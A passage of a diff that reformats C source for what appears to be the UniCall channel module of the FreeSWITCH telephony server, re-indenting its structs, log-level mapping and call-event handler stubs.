+ TFLAG_LINEAR = (1 << 6),
+ TFLAG_CODEC = (1 << 7),
+ TFLAG_BREAK = (1 << 8)
} TFLAGS;
typedef enum {
- GFLAG_MY_CODEC_PREFS = (1 << 0)
+ GFLAG_MY_CODEC_PREFS = (1 << 0)
} GFLAGS;
-static struct
-{
- int debug;
- /*! Requested frame duration, in ms */
- uint32_t frame_duration;
- int dtmf_on;
- int dtmf_off;
- int suppress_dtmf_tone;
- int ignore_dtmf_tone;
- char *dialplan;
- char *codec_string;
- char *codec_order[SWITCH_MAX_CODECS];
- int codec_order_last;
- char *codec_rates_string;
- char *codec_rates[SWITCH_MAX_CODECS];
- int codec_rates_last;
- unsigned int flags;
- int calls;
- int configured_spans;
+static struct {
+ int debug;
+ /*! Requested frame duration, in ms */
+ uint32_t frame_duration;
+ int dtmf_on;
+ int dtmf_off;
+ int suppress_dtmf_tone;
+ int ignore_dtmf_tone;
+ char *dialplan;
+ char *codec_string;
+ char *codec_order[SWITCH_MAX_CODECS];
+ int codec_order_last;
+ char *codec_rates_string;
+ char *codec_rates[SWITCH_MAX_CODECS];
+ int codec_rates_last;
+ unsigned int flags;
+ int calls;
+ int configured_spans;
switch_hash_t *call_hash;
- switch_mutex_t *mutex;
- switch_mutex_t *hash_mutex;
- switch_mutex_t *channel_mutex;
+ switch_mutex_t *mutex;
+ switch_mutex_t *hash_mutex;
+ switch_mutex_t *channel_mutex;
} globals;
-typedef struct
-{
- unsigned int flags;
- switch_codec_t read_codec;
- switch_codec_t write_codec;
- switch_frame_t read_frame;
- uint8_t databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
- switch_core_session_t *session;
- switch_caller_profile_t *caller_profile;
- switch_mutex_t *mutex;
- switch_mutex_t *flag_mutex;
- //switch_thread_cond_t *cond;
- uc_t *uc;
+typedef struct {
+ unsigned int flags;
+ switch_codec_t read_codec;
+ switch_codec_t write_codec;
+ switch_frame_t read_frame;
+ uint8_t databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
+ switch_core_session_t *session;
+ switch_caller_profile_t *caller_profile;
+ switch_mutex_t *mutex;
+ switch_mutex_t *flag_mutex;
+ //switch_thread_cond_t *cond;
+ uc_t *uc;
} private_t;
@@ -133,11 +130,10 @@
static switch_status_t unicall_on_soft_execute(switch_core_session_t *session);
static switch_call_cause_t unicall_outgoing_channel(switch_core_session_t *session,
- switch_event_t *var_event,
- switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session,
- switch_memory_pool_t **pool,
- switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
+ switch_event_t *var_event,
+ switch_caller_profile_t *outbound_profile,
+ switch_core_session_t **new_session,
+ switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
static switch_status_t unicall_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
static switch_status_t unicall_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
static switch_status_t unicall_kill_channel(switch_core_session_t *session, int sig);
@@ -147,723 +143,692 @@
static void unicall_message(int level, const char *s)
{
- int switch_level;
-
- switch (level)
- {
- case UC_LOG_NONE:
- switch_level = SWITCH_LOG_CRIT;
- break;
- case UC_LOG_ERROR:
- switch_level = SWITCH_LOG_ERROR;
- break;
- case UC_LOG_WARNING:
- switch_level = SWITCH_LOG_WARNING;
- break;
- case UC_LOG_PROTOCOL_ERROR:
- switch_level = SWITCH_LOG_ERROR;
- break;
- case UC_LOG_PROTOCOL_WARNING:
- switch_level = SWITCH_LOG_WARNING;
- break;
- case UC_LOG_INFO:
- switch_level = SWITCH_LOG_NOTICE;
- //switch_level = SWITCH_LOG_NOTICE;
- break;
- case UC_LOG_FLOW:
- case UC_LOG_FLOW_2:
- case UC_LOG_FLOW_3:
- case UC_LOG_CAS:
- case UC_LOG_TONE:
- case UC_LOG_DEBUG_1:
- case UC_LOG_DEBUG_2:
- case UC_LOG_DEBUG_3:
- switch_level = SWITCH_LOG_DEBUG;
- break;
- default:
- switch_level = SWITCH_LOG_CRIT;
- break;
- }
- switch_log_printf(SWITCH_CHANNEL_LOG, switch_level, s);
+ int switch_level;
+
+ switch (level) {
+ case UC_LOG_NONE:
+ switch_level = SWITCH_LOG_CRIT;
+ break;
+ case UC_LOG_ERROR:
+ switch_level = SWITCH_LOG_ERROR;
+ break;
+ case UC_LOG_WARNING:
+ switch_level = SWITCH_LOG_WARNING;
+ break;
+ case UC_LOG_PROTOCOL_ERROR:
+ switch_level = SWITCH_LOG_ERROR;
+ break;
+ case UC_LOG_PROTOCOL_WARNING:
+ switch_level = SWITCH_LOG_WARNING;
+ break;
+ case UC_LOG_INFO:
+ switch_level = SWITCH_LOG_NOTICE;
+ //switch_level = SWITCH_LOG_NOTICE;
+ break;
+ case UC_LOG_FLOW:
+ case UC_LOG_FLOW_2:
+ case UC_LOG_FLOW_3:
+ case UC_LOG_CAS:
+ case UC_LOG_TONE:
+ case UC_LOG_DEBUG_1:
+ case UC_LOG_DEBUG_2:
+ case UC_LOG_DEBUG_3:
+ switch_level = SWITCH_LOG_DEBUG;
+ break;
+ default:
+ switch_level = SWITCH_LOG_CRIT;
+ break;
+ }
+ switch_log_printf(SWITCH_CHANNEL_LOG, switch_level, s);
}
static void unicall_report(const char *s)
{
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, s);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, s);
}
#if 0
static switch_call_cause_t unicall_incoming_channel(zap_sigmsg_t *sigmsg, switch_core_session_t **sp)
{
- switch_core_session_t *session = NULL;
- private_t *tech_pvt = NULL;
- switch_channel_t *channel = NULL;
- char name[128];
-
- *sp = NULL;
-
- if (!(session = switch_core_session_request(openzap_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL)))
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Initialization Error!\n");
- return ZAP_FAIL;
- }
-
- switch_core_session_add_stream(session, NULL);
-
- tech_pvt = (private_t *) switch_core_session_alloc(session, sizeof(private_t));
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- if (tech_init(tech_pvt, session, sigmsg->channel) != SWITCH_STATUS_SUCCESS)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Initialization Error!\n");
- switch_core_session_destroy(&session);
- return ZAP_FAIL;
- }
-
- *sigmsg->channel->caller_data.collected = '\0';
-
- if (sigmsg->channel->caller_data.cid_name[0] == '\0')
- switch_set_string(sigmsg->channel->caller_data.cid_name, sigmsg->channel->chan_name);
+ switch_core_session_t *session = NULL;
+ private_t *tech_pvt = NULL;
+ switch_channel_t *channel = NULL;
+ char name[128];
- if (sigmsg->channel->caller_data.cid_num.digits[0] == '\0')
- {
- if (sigmsg->channel->caller_data.ani.digits[0] != '\0')
- switch_set_string(sigmsg->channel->caller_data.cid_num.digits, sigmsg->channel->caller_data.ani.digits);
- else
- switch_set_string(sigmsg->channel->caller_data.cid_num.digits, sigmsg->channel->chan_number);
- }
+ *sp = NULL;
- tech_pvt->caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
- "UniCall",
- SPAN_CONFIG[sigmsg->channel->span_id].dialplan,
- sigmsg->channel->caller_data.cid_name,
- sigmsg->channel->caller_data.cid_num.digits,
- NULL,
- sigmsg->channel->caller_data.ani.digits,
- sigmsg->channel->caller_data.aniII,
- sigmsg->channel->caller_data.rdnis.digits,
- (char *) modname,
- SPAN_CONFIG[sigmsg->channel->span_id].context,
- sigmsg->channel->caller_data.dnis.digits);
- assert(tech_pvt->caller_profile != NULL);
+ if (!(session = switch_core_session_request(openzap_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL))) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Initialization Error!\n");
+ return ZAP_FAIL;
+ }
- if (sigmsg->channel->caller_data.screen == 1 || sigmsg->channel->caller_data.screen == 3)
- switch_set_flag(tech_pvt->caller_profile, SWITCH_CPF_SCREEN);
+ switch_core_session_add_stream(session, NULL);
- if (sigmsg->channel->caller_data.pres)
- switch_set_flag(tech_pvt->caller_profile, SWITCH_CPF_HIDE_NAME | SWITCH_CPF_HIDE_NUMBER);
-
- snprintf(name, sizeof(name), "UNICALL/%u:%u/%s", sigmsg->channel->span_id, sigmsg->channel->chan_id, tech_pvt->caller_profile->destination_number);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connect inbound channel %s\n", name);
- switch_channel_set_name(channel, name);
- switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
-
- switch_channel_set_state(channel, CS_INIT);
- if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Error spawning thread\n");
- switch_core_session_destroy(&session);
- return ZAP_FAIL;
- }
+ tech_pvt = (private_t *) switch_core_session_alloc(session, sizeof(private_t));
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ if (tech_init(tech_pvt, session, sigmsg->channel) != SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Initialization Error!\n");
+ switch_core_session_destroy(&session);
+ return ZAP_FAIL;
+ }
- if (zap_channel_add_token(sigmsg->channel, switch_core_session_get_uuid(session), 0) != ZAP_SUCCESS)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Error adding token\n");
- switch_core_session_destroy(&session);
- return ZAP_FAIL;
- }
- *sp = session;
+ *sigmsg->channel->caller_data.collected = '\0';
- return ZAP_SUCCESS;
+ if (sigmsg->channel->caller_data.cid_name[0] == '\0')
+ switch_set_string(sigmsg->channel->caller_data.cid_name, sigmsg->channel->chan_name);
+
+ if (sigmsg->channel->caller_data.cid_num.digits[0] == '\0') {
+ if (sigmsg->channel->caller_data.ani.digits[0] != '\0')
+ switch_set_string(sigmsg->channel->caller_data.cid_num.digits, sigmsg->channel->caller_data.ani.digits);
+ else
+ switch_set_string(sigmsg->channel->caller_data.cid_num.digits, sigmsg->channel->chan_number);
+ }
+
+ tech_pvt->caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
+ "UniCall",
+ SPAN_CONFIG[sigmsg->channel->span_id].dialplan,
+ sigmsg->channel->caller_data.cid_name,
+ sigmsg->channel->caller_data.cid_num.digits,
+ NULL,
+ sigmsg->channel->caller_data.ani.digits,
+ sigmsg->channel->caller_data.aniII,
+ sigmsg->channel->caller_data.rdnis.digits,
+ (char *) modname,
+ SPAN_CONFIG[sigmsg->channel->span_id].context, sigmsg->channel->caller_data.dnis.digits);
+ assert(tech_pvt->caller_profile != NULL);
+
+ if (sigmsg->channel->caller_data.screen == 1 || sigmsg->channel->caller_data.screen == 3)
+ switch_set_flag(tech_pvt->caller_profile, SWITCH_CPF_SCREEN);
+
+ if (sigmsg->channel->caller_data.pres)
+ switch_set_flag(tech_pvt->caller_profile, SWITCH_CPF_HIDE_NAME | SWITCH_CPF_HIDE_NUMBER);
+
+ snprintf(name, sizeof(name), "UNICALL/%u:%u/%s", sigmsg->channel->span_id, sigmsg->channel->chan_id, tech_pvt->caller_profile->destination_number);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connect inbound channel %s\n", name);
+ switch_channel_set_name(channel, name);
+ switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
+
+ switch_channel_set_state(channel, CS_INIT);
+ if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Error spawning thread\n");
+ switch_core_session_destroy(&session);
+ return ZAP_FAIL;
+ }
+
+ if (zap_channel_add_token(sigmsg->channel, switch_core_session_get_uuid(session), 0) != ZAP_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Error adding token\n");
+ switch_core_session_destroy(&session);
+ return ZAP_FAIL;
+ }
+ *sp = session;
+
+ return ZAP_SUCCESS;
}
#endif
static void on_devicefail(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- //switch_channel_t *channel;
- //private_t *tech_pvt;
+ //switch_channel_t *channel;
+ //private_t *tech_pvt;
- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
+ //tech_pvt = switch_core_session_get_private(session);
+ //assert(tech_pvt != NULL);
+ //channel = switch_core_session_get_channel(session);
+ //assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_devicefail\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_devicefail\n");
}
static void on_protocolfail(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- //switch_channel_t *channel;
- //private_t *tech_pvt;
+ //switch_channel_t *channel;
+ //private_t *tech_pvt;
- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
+ //tech_pvt = switch_core_session_get_private(session);
+ //assert(tech_pvt != NULL);
+ //channel = switch_core_session_get_channel(session);
+ //assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_protocolfail\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_protocolfail\n");
}
static void on_sigchanstatus(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- //switch_channel_t *channel;
- //private_t *tech_pvt;
+ //switch_channel_t *channel;
+ //private_t *tech_pvt;
- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
+ //tech_pvt = switch_core_session_get_private(session);
+ //assert(tech_pvt != NULL);
+ //channel = switch_core_session_get_channel(session);
+ //assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_sigchanstatus\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_sigchanstatus\n");
}
static void on_detected(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- //switch_channel_t *channel;
- //private_t *tech_pvt;
- //struct channel_map *chanmap;
- //char name[128];
+ //switch_channel_t *channel;
+ //private_t *tech_pvt;
+ //struct channel_map *chanmap;
+ //char name[128];
- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
+ //tech_pvt = switch_core_session_get_private(session);
+ //assert(tech_pvt != NULL);
+ //channel = switch_core_session_get_channel(session);
+ //assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_detected\n");
- switch_mutex_lock(globals.channel_mutex);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_detected\n");
+ switch_mutex_lock(globals.channel_mutex);
- //chanmap = spri->private_info;
+ //chanmap = spri->private_info;
#if 0
- if ((session = switch_core_session_locate(chanmap->map[e->offered.channel])))
- {
- switch_log_printf(SWITCH_CHANNEL_LOG,
- SWITCH_LOG_NOTICE,
- "--Duplicate detected on channel s%dc%d (ignored)\n",
- spri->span,
- e->offered.channel);
- switch_core_session_rwunlock(session);
- switch_mutex_unlock(globals.channel_mutex);
- return;
- }
+ if ((session = switch_core_session_locate(chanmap->map[e->offered.channel]))) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "--Duplicate detected on channel s%dc%d (ignored)\n", spri->span, e->offered.channel);
+ switch_core_session_rwunlock(session);
+ switch_mutex_unlock(globals.channel_mutex);
+ return;
+ }
- switch_log_printf(SWITCH_CHANNEL_LOG,
- SWITCH_LOG_NOTICE,
- "-- Detected on channel s%dc%d (from %s to %s)\n",
- spri->span,
- e->offered.channel,
- e->offered.parms.originating_number,
- e->offered.parms.destination_number);
+ switch_log_printf(SWITCH_CHANNEL_LOG,
+ SWITCH_LOG_NOTICE,
+ "-- Detected on channel s%dc%d (from %s to %s)\n",
+ spri->span, e->offered.channel, e->offered.parms.originating_number, e->offered.parms.destination_number);
- switch_mutex_unlock(chanmap->mutex);
+ switch_mutex_unlock(chanmap->mutex);
- //pri_proceeding(spri->pri, e->offered.call, e->offered.channel, 0);
- //pri_acknowledge(spri->pri, e->offered.call, e->offered.channel, 0);
+ //pri_proceeding(spri->pri, e->offered.call, e->offered.channel, 0);
+ //pri_acknowledge(spri->pri, e->offered.call, e->offered.channel, 0);
- switch_mutex_unlock(chanmap->mutex);
+ switch_mutex_unlock(chanmap->mutex);
- if ((session = unicall_incoming_channel(sigmsg, &session)))
- {
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot create new inbound channel!\n");
- }
+ if ((session = unicall_incoming_channel(sigmsg, &session))) {
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot create new inbound channel!\n");
+ }
#endif
- switch_mutex_unlock(globals.channel_mutex);
+ switch_mutex_unlock(globals.channel_mutex);
}
static void on_offered(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- //switch_channel_t *channel;
- //private_t *tech_pvt;
- //struct channel_map *chanmap;
- //char name[128];
+ //switch_channel_t *channel;
+ //private_t *tech_pvt;
+ //struct channel_map *chanmap;
+ //char name[128];
- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
+ //tech_pvt = switch_core_session_get_private(session);
+ //assert(tech_pvt != NULL);
+ //channel = switch_core_session_get_channel(session);
+ //assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_offered\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_offered\n");
}
static void on_requestmoreinfo(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_requestmoreinfo\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_requestmoreinfo\n");
}
static void on_accepted(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_accepted\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_accepted\n");
}
static void on_callinfo(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_callinfo\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_callinfo\n");
}
static void on_facility(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_facility\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_facility\n");
}
static void on_dialednumber(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_dialednumber\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_dialednumber\n");
}
static void on_dialing(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_dialing\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_dialing\n");
}
static void on_sendmoreinfo(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_sendmoreinfo\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_sendmoreinfo\n");
}
static void on_proceeding(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- //struct channel_map *chanmap;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ //struct channel_map *chanmap;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_proceeding\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_proceeding\n");
#if 0
- chanmap = spri->private_info;
+ chanmap = spri->private_info;
- if ((session = switch_core_session_locate(chanmap->map[e->proceeding.channel])))
- {
- switch_core_session_message_t *msg;
+ if ((session = switch_core_session_locate(chanmap->map[e->proceeding.channel]))) {
+ switch_core_session_message_t *msg;
- switch_log_printf(SWITCH_CHANNEL_LOG,
- SWITCH_LOG_NOTICE,
- "-- Proceeding on channel s%dc%d\n",
- spri->span,
- e->proceeding.channel);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "-- Proceeding on channel s%dc%d\n", spri->span, e->proceeding.channel);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_core_session_pass_indication(session, SWITCH_MESSAGE_INDICATE_PROGRESS);
- switch_channel_mark_pre_answered(channel);
+ switch_core_session_pass_indication(session, SWITCH_MESSAGE_INDICATE_PROGRESS);
+ switch_channel_mark_pre_answered(channel);
- switch_core_session_rwunlock(session);
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG,
- SWITCH_LOG_NOTICE,
- "-- Proceeding on channel s%dc%d but it's not in use?\n",
- spri->span,
- e->proceeding.channel);
- }
+ switch_core_session_rwunlock(session);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG,
+ SWITCH_LOG_NOTICE, "-- Proceeding on channel s%dc%d but it's not in use?\n", spri->span, e->proceeding.channel);
+ }
#endif
}
static void on_alerting(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
- //struct channel_map *chanmap;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
+ //struct channel_map *chanmap;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_alerting\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_alerting\n");
#if 0
- chanmap = spri->private_info;
+ chanmap = spri->private_info;
- if ((session = switch_core_session_locate(chanmap->map[e->alerting.channel])))
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "-- Ringing on channel s%dc%d\n", spri->span, e->alerting.channel);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ if ((session = switch_core_session_locate(chanmap->map[e->alerting.channel]))) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "-- Ringing on channel s%dc%d\n", spri->span, e->alerting.channel);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_core_session_pass_indication(session, SWITCH_MESSAGE_INDICATE_RINGING);
- switch_channel_mark_ring_ready(channel);
+ switch_core_session_pass_indication(session, SWITCH_MESSAGE_INDICATE_RINGING);
+ switch_channel_mark_ring_ready(channel);
- switch_core_session_rwunlock(session);
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "-- Ringing on channel s%dc%d %s but it's not in use?\n", spri->span, e->alerting.channel, chanmap->map[e->alerting.channel]);
- }
+ switch_core_session_rwunlock(session);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "-- Ringing on channel s%dc%d %s but it's not in use?\n", spri->span, e->alerting.channel,
+ chanmap->map[e->alerting.channel]);
+ }
#endif
}
static void on_connected(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_connected\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_connected\n");
}
static void on_answered(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_answered\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_answered\n");
}
static void on_fardisconnected(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
+ assert(tech_pvt != NULL);
+ channel = switch_core_session_get_channel(session);
+ assert(channel != NULL);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_fardisconnected\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_fardisconnected\n");
}
static void on_dropcall(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
{
- switch_channel_t *channel;
- private_t *tech_pvt;
+ switch_channel_t *channel;
+ private_t *tech_pvt;
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
+ tech_pvt = switch_core_session_get_private(session);
